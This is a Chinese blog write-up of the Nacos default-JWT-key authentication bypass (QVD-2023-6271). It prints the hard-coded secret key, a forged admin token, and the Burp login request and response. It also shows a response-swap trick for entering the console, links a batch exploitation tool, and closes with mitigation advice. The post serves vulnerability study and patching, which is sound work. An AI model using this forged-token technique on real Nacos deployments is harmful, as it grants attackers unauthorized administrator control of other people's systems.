Nacos身份认证绕过漏洞(QVD-2023-6271)

作者:用户54752373 | 发布时间:

Nacos身份认证绕过漏洞(QVD-2023-6271)

漏洞描述

漏洞原理为开源服务管理平台 Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台造成系统受控等后果。

漏洞信息

漏洞类型:身份认证绕过
漏洞等级:高危
漏洞编号:NVDB-CNVDB-2023674205

受影响版本:
0.1.0 <= Nacos <= 2.2.0

漏洞原理

Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
目前Nacos 身份认证绕过漏洞(QVD-2023-6271),开源服务管理平台Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

漏洞影响范围:
0.1.0 <= Nacos <= 2.2.0基本上都受到了影响,最新的版本已修复漏洞。

漏洞的本质是因为使用了默认的key。
JWT(JSON Web Token)是一种用于在网络应用之间安全传递信息的开放标准。在使用JWT时,通常需要使用密钥对token进行签名,以确保token在传输过程中不被篡改。如果在代码中将密钥硬编码到应用程序中,将会存在JWT硬编码漏洞。
JWT硬编码漏洞是指将密钥硬编码到应用程序代码中,而不是存储在安全的密钥存储库中,攻击者可以轻松地获取该密钥并使用其签署和验证JWT。这使攻击者可以创建或修改JWT,或者验证伪造的JWT,从而导致安全漏洞。例如,应用程序使用硬编码密钥对JWT进行签名,攻击者可以轻松获取该密钥并创建有效的JWT,该JWT会被误认为是经过身份验证的用户,从而获得未经授权的访问权限。因此,为了避免JWT硬编码漏洞,应该将密钥存储在安全的密钥存储库中,并且只有授权的应用程序可以访问它。

环境搭建

漏洞版本下载
首先从GitHub下载带有漏洞的源码:

https://github.com/alibaba/nacos/releases

 

在这里最新版本已经修复了相关的漏洞,所以在这里需要使用其它的版本来进行复现:

d2b5ca33bd103248

可以选择这个:
d2b5ca33bd103315

 


下载到本地之后,在有java8以上的环境下进行快速部署。

漏洞部署

部署环境:Windows10 + java8 ip地址:10.211.55.5
在这里按照教程,解压之后,在bin目录下使用cmd使用命令startup.cmd -m standalone来启动。
d2b5ca33bd103340

 

此时访问10.211.55.5:8848,就可以看到nacos启动了!
d2b5ca33bd103437

 

 

拼接路径nacos到路径:
http://10.211.55.5:8848/nacos/#/login

d2b5ca33bd103457

 

漏洞复现

在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:
d2b5ca33bd103522

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

利用该默认key可进行jwt构造,直接进入后台,构造方法:
https://jwt.io/中:输入默认key:

{ "sub": "nacos", "exp": 1678899909 }

在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09,在这里面的时间戳时间是3月16号了:

d2b5ca33bd103601

 

d2b5ca33bd103622

 


复制上面得到的值,在burp里面选择登录之后构造:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s

d2b5ca33bd103649

 

POST /nacos/v1/auth/users/login HTTP/1.1 
Host: 10.211.55.5:8848 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 33 
Origin: http://10.211.55.5:8848 
Connection: close Referer: http://10.211.55.5:8848/nacos/index.html 
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s 

username=crowsec&password=crowsec

 

此时就得到了token信息:

HTTP/1.1 200 
Vary: Origin 
Vary: Access-Control-Request-Method 
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self' 
Set-Cookie: JSESSIONID=D90CF6E5B233685E4A39C1B1BDA9F185; Path=/nacos; HttpOnly Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s 
Content-Type: application/json 
Date: Wed, 15 Mar 2023 14:13:22 GMT 
Connection: close 
Content-Length: 197 

{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3ODg5OTkwOX0.Di28cDY76JCvTMsgiim12c4pukjUuoBz6j6dstUKO7s","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

此时就得到了nacos的token信息。

利用获取token登录后台:
如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用burp拦截:

d2b5ca33bd103726

 


这肯定进不去的,在这里修改返回包,右键看下这个:
d2b5ca33bd103741

 


然后Forward,这边返回的信息肯定是无效的:
d2b5ca33bd103758

 


在这里使用刚刚burp里面生成的返回包进行替换,全部复制过去:
d2b5ca33bd103816

再forward一次:
d2b5ca33bd103835

 

此时就已经进去了:

d2b5ca33bd103851

工具使用
也可以使用工具:
工具下载地址:

https://github.com/Pizz33/nacos_vul

nacosvul.py用于漏洞批量检测,nacosadd.py用于一键添加用户
批量检测截图:
d2b5ca33bd103935

 

漏洞修复

更新版本:
https://nacos.io/zh-cn/blog/announcement-token-secret-key.html

缓解措施:
1、检查application.properties文件中token.secret.key属性,若为默认值,可参考:https://nacos.io/zh-cn/docs/v2/guide/user/auth.html进行更改。
2、将Nacos部署于内部网络环境

 

原文地址:https://blog.csdn.net/qq_50854662/article/details/129660330

 

标签:思路分享, 漏洞分享